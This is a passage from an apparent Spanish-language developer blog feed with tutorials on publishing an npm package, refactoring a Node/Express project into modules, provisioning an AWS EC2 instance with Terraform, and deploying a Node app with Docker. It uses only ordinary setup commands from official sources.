<pre><code class="lang-plaintext">git init
</code></pre>
<ul>
<li>Procedemos a agregar al stage y realizar un commit</li>
</ul>
<pre><code class="lang-plaintext">git add .
git commit -m "node-library commit example"
</code></pre>
<p>Y por ultimo, a enlazar dicho repositorio local, con nuestro repositorio remoto, copiando y pegando la secuencia de comandos que nos provee github:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1671317278960/GfGNS_woE.png" alt class="image--center mx-auto" /></p>
<p>Y por ultimo, subimos el codigo a dicho repositorio ejecutando</p>
<pre><code class="lang-plaintext">git push
</code></pre>
<p>Es posible, que en este paso la consola nos devuelva un comando con un <code>upstream</code>, en caso de que asi sea, ejecute ese comando para efectuar el push al repositorio remoto.</p>
<h3 id="heading-publicando-en-npm">Publicando en npm</h3>
<p>Ya tenemos nuestro proyecto en github, y solo falta subirlo a npm para que cualquier usuario pueda utilizarlo sin necesidad de clonarse o forkear su repositorio.</p>
<p>Es importante mencionar, que para poder publicarla, debemos tener npm actualizado y de forma global, por lo que, para asegurarnos podemos ejecutar:</p>
<pre><code class="lang-plaintext">npm install npm@latest -g
</code></pre>
<p>Continuando desde la consola, debemos loguearnos en <strong>nuestra cuenta de npm</strong></p>
<pre><code class="lang-plaintext">npm login
</code></pre>
<p>Esto nos pedira, en primera instancia nuestro usuario <em>(de npm)</em> y nuestra contraseña.</p>
<p><strong>Nota al margen, es que no se mostraran caracteres mientras escribamos dicha contraseña, pero si estaras escribiendo la misma.</strong> Presiona enter y entraras en la consola interactiva de npm.</p>
<p>Por ultimo, solo falta publicar.</p>
<pre><code class="lang-plaintext">npm publish
</code></pre>
<p>Y aprovecho a comentar, que el nombre que la libreria tomara es el nombre que se le ha asignado al proyecto en nuestro <strong>package.json</strong></p>
<p>Y listo, hemos publicado nuestro primer paquete de Node en NPM! 🥳</p>
<h3 id="heading-utilizando-nuestra-libreria">Utilizando nuestra libreria</h3>
<p>Por ultimo, los invito a utilizar dicha libreria titulada "Simpson-Response" en honor a las imagenes de Los Simpsons que representan fielmente algunos de los codigos de respuesta HTTP mas comunes.</p>
<p>Suponiendo que, o se tiene otro proyecto o se ha creado un server de prueba, puede instalar la libreria siguiendo el comando que le indique npm en su respectivo paquete.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1671317958996/YaZsDi6JZ.png" alt class="image--center mx-auto" /></p>
<p>En mi caso, el comando a ejecutar es</p>
<pre><code class="lang-plaintext">npm i simpson-response
</code></pre>
<p>Y para aquellos proyectos en typescript, la instalacion de <code>types</code> es</p>
<pre><code class="lang-plaintext">npm i --save-dev @types/simpson-response
</code></pre>
<p>Mientras que el uso es bastante sencillo 🙌</p>
<pre><code class="lang-plaintext">// Usage
import SimpsonResponse from 'simpson-response'

app.get('/', (req: Request, res: Response) =&gt; {
    res.send(SimpsonResponse.default.UNAUTHORIZED);
});

// Example
{
  "url": "SimpsonImage",
  "code": 401,
  "message": "Unauthorized"
}
</code></pre>
<p><a target="_blank" href="https://www.npmjs.com/package/simpson-response">Libreria en NPM.</a></p>
<p><a target="_blank" href="https://github.com/brahianpdev/simpson-response">Repositorio de Github.</a></p>
<h3 id="heading-despedida">Despedida</h3>
<p>Espero se hayan entretenido, les guste y estén esperando el próximo.</p>
<p>¡Hasta pronto 👋!</p>
]]></content:encoded></item><item><title><![CDATA[Stairway to Heaven: Saliendo de Folder Hell]]></title><description><![CDATA[Este post es una continuación del artículo de Introducción al backend con arquitectura en capas, pasando de esta arquitectura a una modular, ganando escalabilidad, legibilidad, abstracción y orden. 
La razón del título, es una mezcla de analogías ent...]]></description><link>https://blog.brahianpdev.com/stairway-to-heaven-saliendo-de-folder-hell</link><guid isPermaLink="true">https://blog.brahianpdev.com/stairway-to-heaven-saliendo-de-folder-hell</guid><category><![CDATA[Node.js]]></category><category><![CDATA[clean code]]></category><category><![CDATA[Clean Architecture]]></category><category><![CDATA[good practices]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Sun, 30 Oct 2022 01:09:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/6XV2VAqi1EA/upload/v1667092369668/DEnz6sNAA.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Este post es una continuación del artículo de <a target="_blank" href="https://brahian.hashnode.dev/introduccion-al-backend-con-arquitectura-en-capas">Introducción al backend con arquitectura en capas</a>, pasando de esta arquitectura a una modular, ganando escalabilidad, legibilidad, abstracción y orden. </p>
<p>La razón del título, es una mezcla de analogías entre Stairway to Heaven de Led Zeppelin y los círculos del infierno de la Divina Comedia de Dante Alighieri en los que se basó <a target="_blank" href="https://www.linkedin.com/in/perez-alan/">Alan Perez</a> alias Scorpion para su <a target="_blank" href="https://youtu.be/iTfeCkWlYI0">charla en Nerdearla 2022</a> llamada justamente, Folder Hell. </p>
<p>Sin más preámbulos, ¡Comencemos!</p>
<h3 id="heading-primeros-pasos">Primeros pasos</h3>
<p>Hagamos un clone de dicho repositorio.</p>
<pre><code>git clone https:<span class="hljs-comment">//github.com/brahianpdev/blog-intro-backend-node-express-mongo</span>
</code></pre><p>Instalemos las dependencias correspondientes y levantamos el proyecto.</p>
<pre><code>npm install
npm run dev
</code></pre><p>Recordar que, se debe tener previamente creada una base de datos en Mongo y las variables de entorno configuradas correctamente en el archivo <strong>.env</strong>. </p>
<p>Una vez confirmamos que nuestro proyecto levanta correctamente, empezamos a reestructurar nuestros archivos y carpetas.</p>
<h3 id="heading-arquitectura-en-capas-vs-modular">Arquitectura en capas vs Modular</h3>
<p>Actualmente, nuestra estructura se ve de la siguiente forma:</p>
<pre><code>Arquitectura de <span class="hljs-number">4</span> capas

src
│   index.ts        # App entry point
└───controllers     # route controllers <span class="hljs-keyword">for</span> all the endpoints <span class="hljs-keyword">of</span> the app
└───config          # Environment variables and configuration related stuff
└───models          # Database models
└───repositories    # Custom queries to database
└───services        # All the business logic is here
└───routes          # Express.js entry points to controllers
</code></pre><pre><code>Arquitectura modular

src
│   index.ts        # App entry point
└── config      
└── products 
        └── controller
        └── service
        └── model
        └── repository
        └── route
</code></pre><p>La forma de interpretar el siguiente esquema es, que nuestra aplicación esta compuesta por dos modulos, uno de configuracion, y uno de productos.</p>
<p>Nota al margen, es que, el modulo productos en caso de necesitar una carpeta de configuración, sera dentro del propio modulo, no fuera. En el ejemplo, se supone configuraciones globales, como lo son por ejemplo, las variables de entorno.</p>
<h3 id="heading-comencemos">Comencemos</h3>
<p>Primeramente, podemos eliminar la carpeta <strong>explanation</strong> que solo fue creada a efectos practicos de explicaciones teoricas vistas en el articulo anterior. Tambien, eliminaremos los archivos relacionados al <a target="_blank" href="https://brahian.hashnode.dev/descargar-archivos-de-ftp-usando-nodejs">articulo de FTP</a> (rutas, servicios).</p>
<p>Creemos una carpeta dentro de <strong>src</strong>, llamada <strong>products</strong>.</p>
<p>Seguidamente, movamos los siguientes archivos dentro de la carpeta recien creada.</p>
<pre><code>- product.route.js
- product.controller.js
- product.service.js
- product.model.js
- product.repository.js
</code></pre><h3 id="heading-correccion-de-errores">Correccion de errores</h3>
<p>En este punto, si intentamos levantar nuestro proyecto, tendremos errores, principalmente, de importaciones.</p>
<pre><code>node:internal/modules/cjs/loader:<span class="hljs-number">988</span>
  <span class="hljs-keyword">throw</span> err;
  ^

<span class="hljs-built_in">Error</span>: Cannot find <span class="hljs-built_in">module</span> <span class="hljs-string">'./path...'</span>
Require stack:
- src/routes/index.js
</code></pre><p>Por lo que, debemos recorrer cada uno de nuestros archivos ahora, dentro de la carpeta products, corrigiendo el path del que importa lo que necesita. </p>
<p>Por ejemplo, nuestro product.route, tiene lo siguiente:</p>
<pre><code><span class="hljs-keyword">const</span> productsController = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../controllers/products.controller"</span>);
</code></pre><p>Y pasaria a ser</p>
<pre><code><span class="hljs-keyword">const</span> productsController = <span class="hljs-built_in">require</span>(<span class="hljs-string">"./products.controller"</span>);
</code></pre><p>Lo mismo, aplicaría para los demas archivos.</p>
<p>En este punto, tendríamos solo un problema de importacion, las rutas.</p>
<p>Dado que las rutas, son globales, procedemos a crear en nuestra carpeta <strong>config</strong>, un archivo llamado <strong>config.routes.js</strong>, de paso, aprovechamos a cambiar el nombre del archivo config, a uno con mas sentido con respecto a lo que se aloja en el, cambiándole el nombre a <strong>config.enviroment.js</strong></p>
<p>Nuestro archivo <strong>config.routes.js</strong>, deberia tener lo siguiente:</p>
<pre><code><span class="hljs-keyword">const</span> { Router } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"express"</span>);
<span class="hljs-keyword">const</span> routes = Router();

<span class="hljs-keyword">const</span> productsRoutes = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../products/products.route"</span>);

routes.use(<span class="hljs-string">"/products"</span>, productsRoutes);

<span class="hljs-built_in">module</span>.exports = routes;
</code></pre><p>Ahora, debemos corregir las importaciones asi como el nombramiento correcto de las mismas, quedando de la siguiente manera:</p>
<pre><code><span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">"express"</span>);
<span class="hljs-keyword">const</span> mongoose = <span class="hljs-built_in">require</span>(<span class="hljs-string">"mongoose"</span>);
<span class="hljs-keyword">const</span> cors = <span class="hljs-built_in">require</span>(<span class="hljs-string">"cors"</span>);

<span class="hljs-keyword">const</span> enviromentConfig = <span class="hljs-built_in">require</span>(<span class="hljs-string">"./config/config.enviroment"</span>);
<span class="hljs-keyword">const</span> routes = <span class="hljs-built_in">require</span>(<span class="hljs-string">"./config/config.routes"</span>);

mongoose
  .connect(enviromentConfig.db.mongo)
  .then(<span class="hljs-function">(<span class="hljs-params">res</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> app = express();

    app.use(
      express.urlencoded({
        <span class="hljs-attr">extended</span>: <span class="hljs-literal">true</span>,
      })
    );

    app.use(express.json());
    app.use(cors());
    app.use(<span class="hljs-string">"/"</span>, routes);

    app.listen(config.app.port, <span class="hljs-function">() =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`🔥 Server is running at port <span class="hljs-subst">${config.app.port}</span>`</span>);
    });

    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Connected to MongoDB"</span>);
  })
  .catch(<span class="hljs-function">(<span class="hljs-params">error</span>) =&gt;</span> <span class="hljs-built_in">console</span>.log(error));
</code></pre><h3 id="heading-despedida">Despedida</h3>
<p>Y listo, hemos pasado de una arquitectura en capas a una modular.</p>
<p>¡Hasta pronto 👋!</p>
<blockquote>
<p>Si deseas colaborar con el contenido, <a target="_blank" href="https://ko-fi.com/brahianpdev">regalame un cafecito</a> ☕</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Crea una instancia EC2 (AWS) con Terraform]]></title><description><![CDATA[Creación de cuenta en AWS 
Dirigase a la página oficial de amazon, clickee en "Crear una cuenta de AWS" y complete los datos correspondientes. Posteriormente, valide su cuenta por el metodo que le sea mas cómodo.
El usuario asociado a la cuenta que a...]]></description><link>https://blog.brahianpdev.com/crea-una-instancia-ec2-aws-con-terraform</link><guid isPermaLink="true">https://blog.brahianpdev.com/crea-una-instancia-ec2-aws-con-terraform</guid><category><![CDATA[AWS]]></category><category><![CDATA[ec2]]></category><category><![CDATA[Terraform]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Cloud]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Wed, 12 Oct 2022 23:21:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/9V3Q2W_mRLE/upload/v1665626108057/FUi3OoLBK.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Creación de cuenta en AWS </strong></p>
<p>Dirigase a la página oficial de <a target="_blank" href="https://aws.amazon.com">amazon</a>, clickee en "Crear una cuenta de AWS" y complete los datos correspondientes. Posteriormente, valide su cuenta por el metodo que le sea mas cómodo.</p>
<p>El usuario asociado a la cuenta que acaba de crear, se la conocerá de ahora en más como usuario root. Y por prácticas recomendadas de AWS en cuanto a seguridad, se debe evitar por sobre todo, el uso de los servicios directamente con ella.</p>
<p><strong>La solución:</strong> Es crear usuarios, políticas, grupos, o grupos de usuarios con los mínimos privilegios necesarios  para ejecutar una acción determinada dentro de un servicio específico.</p>
<p><strong>Creación de user IAM</strong></p>
<p>Inicie sesión en su cuenta root, escoja el servicio IAM <em>(Identity and Access Management)</em>, y dentro de este, clickee la pesta;a <strong>usuarios</strong> y luego en <strong>crear usuario</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665602232973/NNNDH-Xdv.png" alt="create-user.png" />
<em>Recordar elegir el mismo tipo de acceso que se aprecia en la imagen.</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665602416569/dIpug8Duu.png" alt="add-user.png" /></p>
<p>AWS recomienda crear un grupo para administrar los permisos de los usuarios.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665602873945/V_b5TbJm4.png" alt="Screenshot at 2022-10-12 16-26-27.png" /></p>
<p>Nótese que se ha filtrado por ec2, seleccionando Amazon EC2 FullAccess. Y al grupo se le ha nombrado como group-ec2. </p>
<p><strong>Nota:</strong> También agregue permisos para IAM.</p>
<p>Al continuar el proceso, tendremos creado nuestro grupo llamado group-ec2 con una política asociada de Amazon EC2 FullAccess. Aparte, también he agregado una etiqueta llamada g-ec2.</p>
<p>En este punto, estaremos de nuevo en la creación de nuestro usuario IAM.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665603067864/bCW3DsCrF.png" alt="Screenshot at 2022-10-12 16-30-25 (1).png" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665603188785/zohY4Wsc-.png" alt="Screenshot at 2022-10-12 16-32-24.png" /></p>
<p>Hemos creado nuestro usuario, con él, se ha generado una contraseña automática como le habíamos definido (podemos descargar el usuario/password en formato .csv si lo deseamos). Además, nos indica el enlace por el cual tendremos que conectarnos a este usuario <em>(hacerlo desde una ventana en incognito)</em>.</p>
<p>Desde el navegador en incognito:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665603502069/0HvP2sUc7.png" alt="Screenshot at 2022-10-12 16-37-39.png" /></p>
<p>La razon por la que en mi caso aparece brahisw-login, en lugar de exponer el ID de mi cuenta es gracias al uso de los alias, que puedes ver <a target="_blank" href="https://docs.aws.amazon.com/IAM/latest/UserGuide/console_account-alias.html">aqui</a></p>
<p>Nos pedirá que ingresemos una nueva contraseña.
Y wala, estamos conectados a la consola de AWS desde un usuario IAM con privilegios necesarios para trabajar con ec2.</p>
<p>Dirigamosnos a IAM &gt; Usuarios &gt; [user recién creado] &gt; Credenciales de seguridad &gt; Crear una clave de acceso:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665604076874/d25JJy8eq.png" alt="Screenshot at 2022-10-12 16-47-13.png" /></p>
<p>Tendremos un ID de clave de acceso, así como una key. Esto nos servirá para configurar las credenciales desde AWS CLI.</p>
<p><strong>Instalaciones</strong></p>
<ol>
<li>Terraform</li>
<li>AWS CLI</li>
</ol>
<p>Para instalar Terraform, podemos ejecutar el siguiente script de bash.
Tenga en cuenta que esta instalación está pensada para distros basadas en Debian.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/sh</span>

curl -O https://releases.hashicorp.com/terraform/0.13.2/terraform_0.13.2_linux_amd64.zip &amp;&amp; unzip terraform_0.13.2_linux_amd64.zip -d ~/.<span class="hljs-built_in">local</span>/bin

sudo apt-get install \
    apt-transport-https \
    ca-certificates \
    curl \
    gnupg-agent \
    software-properties-common

<span class="hljs-built_in">set</span> -e

<span class="hljs-comment"># Install dependencies.</span>
sudo apt install -y curl apt-transport-https \
     software-properties-common ca-certificates
</code></pre>
<p>Ahora, para instalar AWS CLI:</p>
<pre><code>sudo apt-get install python
</code></pre><pre><code>sudo apt install awscli
</code></pre><pre><code>aws configure
</code></pre><p>Al ejecutar este último comando, se nos pedirá la access key y la secret key, de la siguiente manera:</p>
<pre><code>AWS Access Key ID [****************XXXX]: <span class="hljs-string">"YOUR ACCESS KEY"</span>
AWS Secret Access Key [****************XXXX]: <span class="hljs-string">"YOUR SECRET KEY"</span>
Default region name [us-east<span class="hljs-number">-1</span>]: 
Default output format [text]:
</code></pre><p>Por último, necesitamos nuestro clave-par para posteriormente conectarnos a ssh. Para generarlo, desde nuestro usuario IAM, nos dirigimos a EC2 &gt; Y abajo a la izquierda buscamos "pares de claves".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665604837500/wCgdyGflQ.png" alt="Screenshot at 2022-10-12 16-59-46.png" /></p>
<p>Y al darle crear, automáticamente se nos descargara nuestro archivo .pem</p>
<p><strong>Nota:</strong> Importante antes de utilizarlo, desde la consola de linux darle los permisos de propietarios (4), grupos de usuarios (0), resto de usuarios (0), mediante la sentencia:</p>
<pre><code>chmod <span class="hljs-number">400</span> brahi-key-pair.pem
</code></pre><p><strong>Terraform [Code time]</strong></p>
<p>En su editor de preferencia, cree un archivo main.tf con el siguiente codigo:</p>
<pre><code>provider <span class="hljs-string">"aws"</span> {
  region     = <span class="hljs-string">"us-east-1"</span>

  # credentials = <span class="hljs-string">"~/.aws/credentials"</span>
}

data <span class="hljs-string">"aws_ami"</span> <span class="hljs-string">"ubuntu"</span> {
  most_recent = <span class="hljs-literal">true</span>

  filter {
    name   = <span class="hljs-string">"name"</span>
    values = [<span class="hljs-string">"ubuntu/images/hvm-ssd/ubuntu-bionic-18.04-amd64-server-*"</span>]
  }

  filter {
    name   = <span class="hljs-string">"virtualization-type"</span>
    values = [<span class="hljs-string">"hvm"</span>]
  }

  owners = [<span class="hljs-string">"099720109477"</span>] # Canonical
}

resource <span class="hljs-string">"aws_instance"</span> <span class="hljs-string">"web"</span> {
  ami           = data.aws_ami.ubuntu.id
  instance_type = <span class="hljs-string">"t2.micro"</span>
  key_name = <span class="hljs-string">"brahi-key-pair"</span>

  tags = {
    Name = <span class="hljs-string">"web-server"</span>
  }
}

output <span class="hljs-string">"public_ip"</span> {
  value       = aws_instance.web.public_ip
}
</code></pre><p>Ejecute <code>terraform init</code>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665605250496/vwhVXHmla.png" alt="Screenshot at 2022-10-12 17-06-25.png" /></p>
<p>Y luego, <code>terraform apply</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665605330980/ZE4qkKtsG.png" alt="terraformapply.png" /></p>
<p><strong>Loguearse en instancia ec2 mediante ssh</strong></p>
<p>Por último, ejecute:</p>
<pre><code>ssh -i brahi-key-pair.pem ubuntu@<span class="hljs-number">54.146</span><span class="hljs-number">.138</span><span class="hljs-number">.128</span>
</code></pre><p><em>Recordar cambiar el nombre del key-pair por el suyo</em></p>
<p>En caso de que reciba un conection timeout por parte de ssh, revisar el siguiente <a target="_blank" href="https://aws.amazon.com/es/premiumsupport/knowledge-center/ec2-linux-resolve-ssh-connection-errors/#:~:text=This%20error%20message%20comes%20from,ACL%20doesn't%20allow%20access.">enlace</a> aunque, en resumen, debe dirigirse a ec2 &gt; grupos de seguridad &gt; crear grupo con una regla de entrada para ssh con el protocolo TCP en el puerto 22.</p>
<p>Y listo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665606292591/RCnVnVa6Q.png" alt="ubunutu-log.png" /></p>
<p>Para desconectarse de nuestro servidor, simplemente ejecute <code>exit</code>.</p>
<p>Sin embargo, esta solución es demasiado sucia en cuanto a código se refiere. Para solucionarlo, podemos abstraer los cambios en sub archivos para facilitar la mantenibilidad y escalabilidad de nuestra infraestructura en un futuro.</p>
<p>En nuestro archivo <strong>main.tf</strong> dejaremos solamente el siguiente código:</p>
<pre><code>resource <span class="hljs-string">"aws_instance"</span> <span class="hljs-string">"web"</span> {
  ami             = data.aws_ami.ubuntu.id
  instance_type   = <span class="hljs-keyword">var</span>.instance_type
  tags = {
    Name = <span class="hljs-string">"web-server"</span>
  }
}

output <span class="hljs-string">"public_ip"</span> {
  value = aws_instance.web.public_ip
}
</code></pre><p>Crearemos un archivo llamado <strong>data.tf</strong> que contendrá la ami de ubuntu que estamos utilizando:</p>
<pre><code>data <span class="hljs-string">"aws_ami"</span> <span class="hljs-string">"ubuntu"</span> {
  most_recent = <span class="hljs-literal">true</span>

  filter {
    name   = <span class="hljs-string">"name"</span>
    values = [<span class="hljs-string">"ubuntu/images/hvm-ssd/ubuntu-bionic-18.04-amd64-server-*"</span>]
  }

  filter {
    name   = <span class="hljs-string">"virtualization-type"</span>
    values = [<span class="hljs-string">"hvm"</span>]
  }

  owners = [<span class="hljs-string">"099720109477"</span>] # Canonical
}
</code></pre><p>Crearemos un archivo llamado <strong>provider.tf</strong> donde definiremos el proveedor con su respectiva región:</p>
<pre><code>provider <span class="hljs-string">"aws"</span> {
  region                  = <span class="hljs-keyword">var</span>.aws_region

  # shared_credentials_file = <span class="hljs-string">"~/.aws/credentials"</span> 
}
</code></pre><p>Y también un archivo llamado <strong>variables.tf</strong>:</p>
<pre><code>variable <span class="hljs-string">"aws_region"</span> {
  description = <span class="hljs-string">"AWS region for all resources."</span>
  type    = string
  <span class="hljs-keyword">default</span> = <span class="hljs-string">"us-east-1"</span>
}

variable <span class="hljs-string">"keypair_name"</span> {
    description = <span class="hljs-string">"Name of the keypair to use for the instances."</span>
    type    = string
    <span class="hljs-keyword">default</span>   = <span class="hljs-string">"PATH TO YOUR KEYPAIR NAME.pem"</span>
}

variable <span class="hljs-string">"instance_type"</span> {
    description = <span class="hljs-string">"Type of instance to launch."</span>
    type    = string
    <span class="hljs-keyword">default</span>   = <span class="hljs-string">"t2.micro"</span>
}
</code></pre><p>Para verificar que todo funcione correctamente, podemos volver a ejecutar la secuencia de de comandos de terraform <em>(init, plan, apply...)</em></p>
<p>¡Hasta pronto 👋!</p>
<blockquote>
<p>Si deseas colaborar con el contenido, <a target="_blank" href="https://ko-fi.com/brahianpdev">regalame un cafecito</a> ☕</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Despliega una app de Node en AWS]]></title><description><![CDATA[En este artículo se abarcará de forma práctica - teórica cómo realizar el despliegue de una aplicación de NodeJS en una instancia EC2 (Elastic Computed Cloud) de AWS independientemente de si el sistema operativo que se esté usando es Windows, o Linux...]]></description><link>https://blog.brahianpdev.com/despliega-una-app-de-node-en-aws</link><guid isPermaLink="true">https://blog.brahianpdev.com/despliega-una-app-de-node-en-aws</guid><category><![CDATA[AWS]]></category><category><![CDATA[Docker]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[Docker compose]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Fri, 16 Sep 2022 18:02:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/keol4Nwt0X0/upload/v1663346904176/Qw9pSQMI_J.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En este artículo se abarcará de forma práctica - teórica cómo realizar el despliegue de una aplicación de NodeJS en una instancia EC2 (Elastic Computed Cloud) de AWS independientemente de si el sistema operativo que se esté usando es Windows, o Linux.</p>
<h2 id="heading-creacion-de-cuenta-en-aws">Creación de cuenta en AWS</h2>
<p>Cree su cuenta como usuario raíz, pero tenga en cuenta que, por buenas prácticas se aconseja crear usuarios IAM asociados a esta para respetar las buenas prácticas de AWS que sugieren reiteradamente utilizar políticas de mínimo privilegio. </p>
<p>Para crear su cuenta, ingrese a <a target="_blank" href="https://signin.aws.amazon.com/">AWS</a>.</p>
<h2 id="heading-creacion-de-instancia-ec2">Creación de instancia EC2</h2>
<p>Una vez tenga su cuenta creada, procedemos a la creación de nuestra instancia. </p>
<p>Para ello, damos clic en la esquina superior izquierda donde dice “Servicios”. Este nos despliega un filtro de búsqueda a su lado en el cual podemos filtrar por “ec2”. Al ingresar, nos encontraremos con el panel de administración de dicho servicio.</p>
<p>Nos dirigimos al panel lateral situado a la izquierda de nuestra pantalla (es desplegable). Y clickeamos en “Instancias”. </p>
<p>Si no tenemos ninguna instancia creada, aparecerá un listado vacío, de tener alguna se nos mostrará de la siguiente manera.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663350999915/lpBi2xrZ1.jpg" alt="instance list aws.jpg" /></p>
<p>De clic ahora en “Lanzar instancia”, elija un nombre adecuado <em>(relacionado a lo que esté haciendo en lo posible)</em>, elija un sistema operativo de preferencia (en mi caso suelo optar por Ubuntu). Y aquí, se le pedirá crear una nueva clave par.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663348512979/yjWhFGGBB.jpg" alt="clave par 1 part.jpg" /></p>
<p>Tener en cuenta que si estás en Linux, deberá descargar el archivo .pem, mientras que si está en Windows, sugiero descargar el archivo en formato .ppk para evitar un paso de conversión. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663348522011/9BKd46a2O.jpg" alt="clave par 2 part.jpg" /></p>
<p>Una vez creado nuestro clave par, podemos simplemente dar en crear instancia.</p>
<h2 id="heading-conexion-via-ssh">Conexión vía SSH</h2>
<p>Recordar que, la primera vez que realizamos este proceso, debemos darle permisos a nuestro archivo clave par. Por lo que, si estás en Linux bastaría con ejecutar:</p>
<pre><code>chmod <span class="hljs-number">400</span> node_app.pem
</code></pre><p>Y nos conectamos desde consola:</p>
<pre><code>ssh -i <span class="hljs-string">"node_app.pem"</span> user@ec0<span class="hljs-number">-00</span><span class="hljs-number">-000</span><span class="hljs-number">-000</span><span class="hljs-number">-00.</span>compute<span class="hljs-number">-1.</span>amazonaws.com
</code></pre><p>Mientras que si estás en Windows, deberá realizar la siguiente secuencia:</p>
<pre><code>Right click on the file &gt; properties &gt; security &gt; advanced &gt; disable inheritance &gt; <span class="hljs-string">'Convert inherited permissions into explicit permission on this object'</span>
Click on <span class="hljs-string">"allow | everyone | Full Control"</span> &gt; edit &gt; <span class="hljs-string">'select a principal'</span> &gt; type your username &gt; <span class="hljs-string">'check names'</span> &gt; select your username &gt; ok &gt; ok &gt; ok (ok until all windows are closed)
</code></pre><p>Este 400, o su equivalente en Windows, corresponde a permisos para:</p>
<pre><code>      <span class="hljs-number">4</span> = Propietarios
      <span class="hljs-number">0</span> = Grupos de usuarios
      <span class="hljs-number">0</span> = Resto de usuarios
</code></pre><p>Posteriormente nos conectamos utilizando el software <a target="_blank" href="https://www.putty.org/">PUTTY</a>.</p>
<p>Agregue su IP Host. Este es su IPv4 público de su instancia de AWS.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663348899892/wAyjhLFj9.jpg" alt="host ip aws putty.jpg" /></p>
<p>Agregue su usuario a la configuración.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663349013539/7UneoIHPM.jpg" alt="user putty aws.jpg" /></p>
<p>Por último, cargue su archivo .ppk
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663348958958/b8pO-FEM6.jpg" alt="private key putty.jpg" /></p>
<p>Y dé click en <strong>Open</strong>, esto le conectará a su instancia via SSH.</p>
<p>Si aparece un mensaje de error, simplemente de click en aceptar.</p>
<p>Se encontará con una consola como la siguiente:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663351135358/9i-cIPkim.jpg" alt="conexion ssh putty.jpg" /></p>
<h2 id="heading-la-magia-de-bash">La magia de bash</h2>
<p>En este punto, habremos logrado una conexión exitosa. Por lo que podemos comenzar con nuestros scripts de bash para automatizar la tarea.</p>
<p>El siguiente script hará lo siguiente:</p>
<ul>
<li>Verificar si su sistema de AWS es Debian o Ubuntu.</li>
<li>Instalará Docker y docker-compose según la verificación anterior.</li>
<li>Descargará el repositorio de github para éste ejemplo.</li>
<li>Se moverá dentro del repositorio, buildeará y pondrá en marcha los contenedores.</li>
</ul>
<p>Nota: Mi aporte al script solo es la descarga del repositorio e instalación de los contenedores. En la sección de agradecimientos verán a quién se lo robé.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
sudo apt-get update
sudo apt-get install -y \
    linux-image-extra-$(uname -r) \
    linux-image-extra-virtual
sudo apt-get install -y \
    apt-transport-https \
    ca-certificates \
    curl \
    software-properties-common
<span class="hljs-keyword">if</span> [  -n <span class="hljs-string">"<span class="hljs-subst">$(uname -a | grep Ubuntu)</span>"</span> ]; <span class="hljs-keyword">then</span>
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository \
   <span class="hljs-string">"deb [arch=amd64] https://download.docker.com/linux/ubuntu \
   <span class="hljs-subst">$(lsb_release -cs)</span> \
   stable"</span>
<span class="hljs-keyword">else</span>
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo add-apt-repository \
   <span class="hljs-string">"deb [arch=amd64] https://download.docker.com/linux/debian \
   <span class="hljs-subst">$(lsb_release -cs)</span> \
   stable"</span>
<span class="hljs-keyword">fi</span>
sudo apt-get update
sudo apt-get install -y docker-ce
sudo groupadd docker
sudo usermod -aG docker <span class="hljs-variable">$USER</span>

<span class="hljs-comment"># Logout and In again</span>
docker --version
docker run hello-world
<span class="hljs-comment"># Install Docker Compose on Ubuntu</span>
DC_VERSION=$(curl -L -s -H <span class="hljs-string">'Accept: application/json'</span> https://github.com/docker/compose/releases/latest | sed -e <span class="hljs-string">'s/.*"tag_name":"\([^"]*\)".*/\1/'</span>)
